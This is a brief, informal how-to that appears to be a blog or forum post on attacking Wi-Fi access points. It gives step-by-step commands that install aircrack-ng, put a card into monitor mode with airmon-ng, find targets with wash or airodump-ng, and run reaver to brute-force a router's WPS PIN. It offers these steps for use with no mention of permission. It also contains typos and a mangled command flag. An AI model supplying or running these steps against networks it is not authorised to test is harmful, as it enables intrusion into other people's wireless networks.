Reaver Basics

Reaver can be ran on linux and does a linux based brute for hack (attempt) on an AP.


If you have windows you can:  Download kali image, download vmware player personal use version

If you have linux you can: install aircrack, reaver and you are good to go





1. Install Reaver (Google it you will get more than enough info), install aircrack $ sudo apt-get install aircrack-ng

2. Set your wireless mode

sudo airmon-ng  and then start the appropriate card. Normaly wlan0 by sudo airmon-ng start wlan0

3. sudo wash -i mon0 or try sudo wash -i mon0 –ignore-fcs  might solves the issue, or try sudo airodump-ng mon0

4. run sudo reaver -i mon0 -b XX:XX:XX:XX:XX:XX  where the xx:…. is the BSID from wash or airdump

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